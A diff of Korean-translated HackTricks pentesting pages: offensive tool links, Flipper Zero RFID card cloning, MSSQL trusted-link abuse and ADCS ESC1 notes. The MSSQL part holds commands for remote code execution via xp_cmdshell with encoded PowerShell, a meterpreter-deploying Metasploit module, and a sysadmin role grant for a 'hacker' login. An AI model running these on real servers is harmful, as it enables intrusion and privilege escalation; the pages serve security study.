* [https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/](https://bestestredteam.com/2018/10/02/tracking-pixel-in-microsoft-office-document/) : 누가 문서를 열었는지 추적
|
||||
* [https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet](https://github.com/Integration-IT/Active-Directory-Exploitation-Cheat-Sheet) : Active Directory 치트 시트
|
||||
|
||||
# Firmware
|
||||
|
||||
자동 분석을 위한 멋진 도구들:
|
||||
Tools q veo q pueden molar para analizar firmares (automaticas):
|
||||
|
||||
* [https://github.com/craigz28/firmwalker](https://github.com/craigz28/firmwalker)
|
||||
* [https://github.com/fkie-cad/FACT\_core](https://github.com/fkie-cad/FACT\_core)
|
||||
* [https://gitlab.com/bytesweep/bytesweep-go](https://gitlab.com/bytesweep/bytesweep-go)
|
||||
|
||||
크림 후:
|
||||
Post-crema:
|
||||
|
||||
* [https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html](https://blog.mindedsecurity.com/2018/09/pentesting-iot-devices-part-1-static.html)
|
||||
* [https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html](https://blog.mindedsecurity.com/2018/10/pentesting-iot-devices-part-2-dynamic.html)
|
||||
|
||||
온라인에서 펌웨어를 찾을 수 없는 경우 펌웨어 추출 방법: [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4)
|
||||
Como extraer firmware si no lo encontramos online: [https://www.youtube.com/watch?v=Kxvpbu9STU4](https://www.youtube.com/watch?v=Kxvpbu9STU4)
|
||||
|
||||
분석할 취약점이 있는 펌웨어: [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat)
|
||||
Aqui un firware con vulnerabilidades para analizar: [https://github.com/scriptingxss/IoTGoat](https://github.com/scriptingxss/IoTGoat)
|
||||
|
||||
펌웨어 분석을 위한 OWASP 방법론: [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm)
|
||||
y por aqui la metodologia owasp para analizar firmware: [https://github.com/scriptingxss/owasp-fstm](https://github.com/scriptingxss/owasp-fstm)
|
||||
|
||||
펌웨어 에뮬레이션: FIRMADYNE (https://github.com/firmadyne/firmadyne/)은 Linux 기반 펌웨어의 에뮬레이션과 동적 분석을 자동화하기 위한 플랫폼입니다.
|
||||
Firmware emulation: FIRMADYNE (https://github.com/firmadyne/firmadyne/) is a platform for automating the emulation and dynamic analysis of Linux-based firmware.
|
||||
|
||||
# OTHER
|
||||
|
||||
|
@ -113,20 +117,34 @@ HackTricks를 지원하는 다른 방법:
|
|||
* [https://github.com/skelsec/jackdaw](https://github.com/skelsec/jackdaw)
|
||||
* [https://github.com/CoatiSoftware/Sourcetrail](https://github.com/CoatiSoftware/Sourcetrail) : 정적 코드 분석
|
||||
* [https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html](https://www.hackerdecabecera.com/2019/12/blectf-capture-flag-en-formato-hardware.html) : Bluetooth LE CTF
|
||||
* [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : SSH tarpit으로 끝없는 배너를 천천히 전송합니다.
|
||||
* AWS 및 클라우드 도구: [https://github.com/toniblyx/my-arsenal-of-aws-security-tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools)
|
||||
* IFS (Interplanetary File System)를 이용한 피싱: [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/)
|
||||
* IP 회전 서비스: [https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212](https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212)
|
||||
* Linux 루트킷: [https://github.com/aesophor/satanic-rootkit](https://github.com/aesophor/satanic-rootkit)
|
||||
* [https://github.com/skeeto/endlessh](https://github.com/skeeto/endlessh) : 끝없는 배너를 천천히 보내는 SSH tarpit.
|
||||
* AWS and Cloud tools: [https://github.com/toniblyx/my-arsenal-of-aws-security-tools](https://github.com/toniblyx/my-arsenal-of-aws-security-tools)
|
||||
* IFS (Interplanetary File System) for phising: [https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/using-the-interplanetary-file-system-for-offensive-operations/)
|
||||
* IP rotation services: [https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212](https://medium.com/@lokeshdlk77/how-to-rotate-ip-address-in-brute-force-attack-e66407259212)
|
||||
* Linux rootkit: [https://github.com/aesophor/satanic-rootkit](https://github.com/aesophor/satanic-rootkit)
|
||||
* [https://theia-ide.org/](https://theia-ide.org) : 온라인 IDE
|
||||
* [https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/](https://github.com/nahamsec/Resources-for-Beginner-Bug-Bounty-Hunters/) : BugBounties 시작을 위한 자료
|
||||
* [https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab](https://medium.com/macoclock/jailbreak-and-stuff-kickstart-tools-and-techniques-for-ios-application-pentesting-6fa53a3987ab) : IOS 펜테스팅 도구
|
||||
* [https://github.com/random-robbie/keywords/blob/master/keywords.txt](https://github.com/random-robbie/keywords/blob/master/keywords.txt) : 키워드
|
||||
* [https://github.com/ElevenPaths/HomePWN](https://github.com/ElevenPaths/HomePWN) : IoT 해킹 (Wifi, BLE, SSDP, MDNS)
|
||||
* [https://github.com/rackerlabs/scantron](https://github.com/rackerlabs/scantron) : 스캐닝 자동화
|
||||
* [https://github.com/doyensec/awesome
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**telegram 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **HackTricks**와 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하여 여러분의 해킹 기술을 공유하세요.
|
||||
* [https://github.com/rackerlabs/scantron](https://github.com/rackerlabs/scantron) : 스캔 자동화
|
||||
* [https://github.com/doyensec/awesome-electronjs-hacking](https://github.com/doyensec/awesome-electronjs-hacking) : 이 목록은 Electron.js 보안 관련 주제를 다룹니다.
|
||||
* [https://github.com/serain/bbrecon](https://github.com/serain/bbrecon) : BB 프로그램 정보
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Other ways to support HackTricks:
|
||||
|
||||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 저희 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f)에 **가입**하거나 [**텔레그램 그룹**](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **해킹 기법을 공유하려면 PR을** [**HackTricks**](https://github.com/carlospolop/hacktricks) **및** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **깃허브 저장소에 제출하세요.**
|
||||
|
|
|
@ -2,21 +2,25 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* 독점적인 [**NFT 컬렉션인 The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 기교를 공유**하세요.
|
||||
- **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
## 소개
|
||||
|
||||
125kHz 태그가 작동하는 방법에 대한 자세한 정보는 다음을 확인하세요:
|
||||
125kHz 태그 작동 방식에 대한 자세한 정보는 다음을 확인하세요:
|
||||
|
||||
{% content-ref url="../pentesting-rfid.md" %}
|
||||
[pentesting-rfid.md](../pentesting-rfid.md)
|
||||
|
@ -28,51 +32,55 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
### 읽기
|
||||
|
||||
카드 정보를 **읽으려고 시도**합니다. 그런 다음 그것을 **에뮬레이션**할 수 있습니다.
|
||||
카드 정보를 **읽으려고 시도**합니다. 그런 다음 **모방**할 수 있습니다.
|
||||
|
||||
{% hint style="warning" %}
|
||||
일부 인터콤은 키 복제를 방지하기 위해 읽기 전에 쓰기 명령을 보내려고 합니다. 쓰기가 성공하면 해당 태그는 가짜로 간주됩니다. Flipper가 RFID를 에뮬레이션할 때 리더가 원본과 구별할 수 있는 방법이 없으므로 이러한 문제가 발생하지 않습니다.
|
||||
일부 인터콤은 키 복제를 방지하기 위해 읽기 전에 쓰기 명령을 보내려고 합니다. 쓰기가 성공하면 해당 태그는 가짜로 간주됩니다. Flipper가 RFID를 모방할 때 리더가 원본과 구별할 방법이 없기 때문에 이러한 문제가 발생하지 않습니다.
|
||||
{% endhint %}
|
||||
|
||||
### 수동으로 추가
|
||||
### 수동 추가
|
||||
|
||||
Flipper Zero에서 **수동으로 데이터를 지정하여 가짜 카드를 생성**한 다음 에뮬레이션할 수 있습니다.
|
||||
Flipper Zero에서 **수동으로 데이터를 지정**하여 **가짜 카드를 생성**한 다음 모방할 수 있습니다.
|
||||
|
||||
#### 카드의 ID
|
||||
|
||||
카드를 받을 때 때로는 카드에 기록된 ID(또는 일부)를 확인할 수 있습니다.
|
||||
카드를 받을 때 때로는 카드에 표시된 ID(또는 일부)를 찾을 수 있습니다.
|
||||
|
||||
* **EM Marin**
|
||||
- **EM Marin**
|
||||
|
||||
예를 들어 EM-Marin 카드에서 물리적 카드에는 **마지막 5바이트 중 3바이트를 알아볼 수 있습니다**.\
|
||||
카드에서 읽을 수 없는 경우 브루트 포스로 찾을 수 있습니다.
|
||||
예를 들어 EM-Marin 카드의 경우 물리적 카드에서 **마지막 5바이트 중 마지막 3바이트를 명확히 읽을 수 있습니다**.\
|
||||
카드에서 읽을 수 없는 경우 브루트 포스할 수 있습니다.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (30).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (101).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
* **HID**
|
||||
- **HID**
|
||||
|
||||
동일한 일이 HID 카드에서 발생하며 카드에 인쇄된 3바이트 중 2바이트만 찾을 수 있습니다.
|
||||
HID 카드의 경우 카드에 인쇄된 3바이트 중 2바이트만 찾을 수 있습니다.
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (15) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1011).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### 에뮬레이션/쓰기
|
||||
### 모방/쓰기
|
||||
|
||||
카드를 **복사**하거나 ID를 **수동으로 입력**한 후 Flipper Zero에서 에뮬레이션하거나 실제 카드에 **쓸** 수 있습니다.
|
||||
카드를 **복사**하거나 **수동으로 ID를 입력한 후** Flipper Zero에서 모방하거나 **실제 카드에 쓸 수** 있습니다.
|
||||
|
||||
## 참고 자료
|
||||
|
||||
* [https://blog.flipperzero.one/rfid/](https://blog.flipperzero.one/rfid/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 제로에서 영웅까지 AWS 해킹 배우기</strong></summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 상품**](https://peass.creator-spring.com)을 구매하세요.
|
||||
* 독점적인 [**NFT 컬렉션인 The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 기교를 공유**하세요.
|
||||
- **회사가 HackTricks에 광고되길 원하거나** **PDF 형식의 HackTricks를 다운로드하고 싶다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,24 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong>!</summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 AWS 해킹을 배우세요!</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고**되길 원하시나요? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **사이버 보안 회사**에서 일하시나요? **회사가 HackTricks에 광고되길 원하시나요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요
|
||||
* **[💬](https://emojipedia.org/speech-balloon/) Discord 그룹**에 **가입**하거나 [텔레그램 그룹](https://t.me/peass)에 **참여**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)를 **팔로우**하세요.
|
||||
* **[hacktricks repo](https://github.com/carlospolop/hacktricks) 및 [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**로 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 싶으시다면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## **MSSQL 열거 / 발견**
|
||||
|
||||
파워쉘 모듈 [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL)은 이 경우에 매우 유용합니다.
|
||||
Powershell 모듈 [PowerUpSQL](https://github.com/NetSPI/PowerUpSQL)은 이 경우에 매우 유용합니다.
|
||||
```powershell
|
||||
Import-Module .\PowerupSQL.psd1
|
||||
```
|
||||
|
@ -80,7 +85,7 @@ Invoke-SQLOSCmd -Instance "srv.sub.domain.local,1433" -Command "whoami" -RawResu
|
|||
|
||||
## MSSQL 신뢰할 수 있는 링크
|
||||
|
||||
만약 MSSQL 인스턴스가 다른 MSSQL 인스턴스에 의해 신뢰된다면(데이터베이스 링크), 사용자가 신뢰받는 데이터베이스에 권한이 있다면, **신뢰 관계를 사용하여 다른 인스턴스에서도 쿼리를 실행할 수 있게 될 것**입니다. 이러한 신뢰는 연결될 수 있으며 어느 시점에서는 사용자가 명령을 실행할 수 있는 잘못 구성된 데이터베이스를 찾을 수도 있습니다.
|
||||
만약 MSSQL 인스턴스가 다른 MSSQL 인스턴스에 의해 신뢰된다면(데이터베이스 링크), 사용자가 신뢰받는 데이터베이스에 권한이 있다면, **신뢰 관계를 사용하여 다른 인스턴스에서도 쿼리를 실행할 수 있게 될 것**입니다. 이러한 신뢰는 연결될 수 있으며 어느 시점에서 사용자는 명령을 실행할 수 있는 잘못 구성된 데이터베이스를 찾을 수도 있습니다.
|
||||
|
||||
**데이터베이스 간의 링크는 숲 간 신뢰를 통해 작동합니다.**
|
||||
|
||||
|
@ -124,28 +129,24 @@ Metasploit를 사용하여 신뢰할 수 있는 링크를 쉽게 확인할 수
|
|||
msf> use exploit/windows/mssql/mssql_linkcrawler
|
||||
[msf> set DEPLOY true] #Set DEPLOY to true if you want to abuse the privileges to obtain a meterpreter session
|
||||
```
|
||||
메타스플로잇은 MSSQL에서 `openquery()` 함수만 남용하려고 시도할 것임을 주목하세요 (따라서 `openquery()`로 명령을 실행할 수 없는 경우 명령을 실행하기 위해 `EXECUTE` 방법을 수동으로 시도해야 함을 아래에서 자세히 확인하십시오.)
|
||||
|
||||
### 수동 - Openquery()
|
||||
|
||||
**Linux**에서는 **sqsh** 및 **mssqlclient.py**를 사용하여 MSSQL 콘솔 셸을 획득할 수 있습니다.
|
||||
**Linux**에서는 **sqsh** 및 **mssqlclient.py**를 사용하여 MSSQL 콘솔 셸을 얻을 수 있습니다.
|
||||
|
||||
**Windows**에서는 [**HeidiSQL**](https://www.heidisql.com)과 같은 **MSSQL 클라이언트**를 사용하여 링크를 찾고 명령을 수동으로 실행할 수도 있습니다.
|
||||
**Windows**에서는 [**HeidiSQL**](https://www.heidisql.com)과 같은 **MSSQL 클라이언트**를 사용하여 링크를 찾고 명령을 수동으로 실행할 수 있습니다.
|
||||
|
||||
_윈도우 인증을 사용하여 로그인:_
|
||||
_**Windows 인증을 사용하여 로그인:**_
|
||||
|
||||
![](<../../.gitbook/assets/image (167) (1).png>)
|
||||
|
||||
#### 신뢰할 수 있는 링크 찾기
|
||||
![](<../../.gitbook/assets/image (805).png>)
|
||||
```sql
|
||||
select * from master..sysservers;
|
||||
EXEC sp_linkedservers;
|
||||
```
|
||||
![](<../../.gitbook/assets/image (168).png>)
|
||||
![](<../../.gitbook/assets/image (713).png>)
|
||||
|
||||
#### 신뢰할 수 있는 링크에서 쿼리 실행
|
||||
|
||||
링크를 통해 쿼리를 실행합니다 (예: 새로운 접근 가능한 인스턴스에서 더 많은 링크 찾기):
|
||||
링크를 통해 쿼리를 실행하십시오 (예: 새로운 접근 가능한 인스턴스에서 더 많은 링크 찾기):
|
||||
```sql
|
||||
select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
||||
```
|
||||
|
@ -153,9 +154,9 @@ select * from openquery("dcorp-sql1", 'select * from master..sysservers')
|
|||
이중 따옴표와 홑따옴표가 사용된 위치를 확인하세요. 그 방식으로 사용하는 것이 중요합니다.
|
||||
{% endhint %}
|
||||
|
||||
![](<../../.gitbook/assets/image (169).png>)
|
||||
![](<../../.gitbook/assets/image (640).png>)
|
||||
|
||||
신뢰할 수 있는 이 링크 체인을 수동으로 계속할 수 있습니다.
|
||||
신뢰할 수 있는 이 링크 체인을 수동으로 영원히 계속할 수 있습니다.
|
||||
```sql
|
||||
# First level RCE
|
||||
SELECT * FROM OPENQUERY("<computer>", 'select @@servername; exec xp_cmdshell ''powershell -w hidden -enc blah''')
|
||||
|
@ -175,6 +176,23 @@ EXECUTE('EXECUTE(''sp_addsrvrolemember ''''hacker'''' , ''''sysadmin'''' '') AT
|
|||
|
||||
**MSSQL 로컬 사용자**는 일반적으로 **`SeImpersonatePrivilege`**라는 특별한 권한 유형을 갖습니다. 이를 통해 계정은 "인증 후 클라이언트를 흉내 내는" 것이 가능합니다.
|
||||
|
||||
많은 저자들이 고안한 전략은 시스템 서비스를 강제로 악의적인 또는 중간자 공격 서비스에 인증하도록 하는 것입니다. 그럼으로써 공격자가 만든 악성 서비스는 시스템 서비스가 인증을 시도하는 동안 시스템 서비스를 흉내 낼 수 있습니다.
|
||||
많은 저자들이 고안한 전략은 시스템 서비스를 로그 또는 중간자 서비스에 인증하도록 강제하는 것입니다. 공격자가 생성한 이 로그 서비스는 시스템 서비스가 인증을 시도하는 동안 시스템 서비스를 흉내 낼 수 있습니다.
|
||||
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato)에는 Beacon의 `execute-assembly` 명령을 통해 실행할 수 있는 이러한 다양한 기술들이 모아져 있습니다.
|
||||
[SweetPotato](https://github.com/CCob/SweetPotato)에는 Beacon의 `execute-assembly` 명령을 통해 실행할 수 있는 이러한 다양한 기술이 모아져 있습니다.
|
||||
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 되는 AWS 해킹을 배우세요!</summary>
|
||||
|
||||
* **사이버 보안 회사**에서 일하시나요? **HackTricks에 귀사를 광고하고 싶으신가요**? 또는 **PEASS의 최신 버전에 액세스하거나 HackTricks를 PDF로 다운로드**하고 싶으신가요? [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* [**공식 PEASS & HackTricks 스왹**](https://peass.creator-spring.com)을 받으세요
|
||||
* [**💬**](https://emojipedia.org/speech-balloon/) **Discord 그룹**에 가입하거나 [**텔레그램 그룹**](https://t.me/peass)에 참여하거나 **트위터** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **및** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **로 PR을 제출하세요**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,24 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 AWS 해킹을 처음부터 전문가까지 배워보세요<strong>!</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 **제로부터 영웅까지 AWS 해킹 배우기**!</summary>
|
||||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* **Hacking 트릭을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **해킹 요령을 공유하려면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
||||
**이것은 게시물의 승격 기술 섹션에 대한 요약입니다:**
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
**이것은 게시물의 승격 기술 섹션 요약입니다:**
|
||||
|
||||
* [https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf](https://specterops.io/wp-content/uploads/sites/3/2022/06/Certified\_Pre-Owned.pdf)
|
||||
* [https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7](https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7)
|
||||
* [https://github.com/ly4k/Certipy](https://github.com/ly4k/Certipy)
|
||||
|
@ -25,43 +30,43 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
### 잘못 구성된 인증서 템플릿 - ESC1 설명
|
||||
|
||||
* **Enterprise CA에서 낮은 권한을 가진 사용자에게 등록 권한이 부여됩니다.**
|
||||
* **Enterprise CA에 의해 낮은 권한을 가진 사용자에게 등록 권한이 부여됩니다.**
|
||||
* **관리자 승인이 필요하지 않습니다.**
|
||||
* **권한이 있는 인원의 서명이 필요하지 않습니다.**
|
||||
* **인증서 템플릿의 보안 기술자는 지나치게 허용되어 낮은 권한을 가진 사용자가 등록 권한을 얻을 수 있습니다.**
|
||||
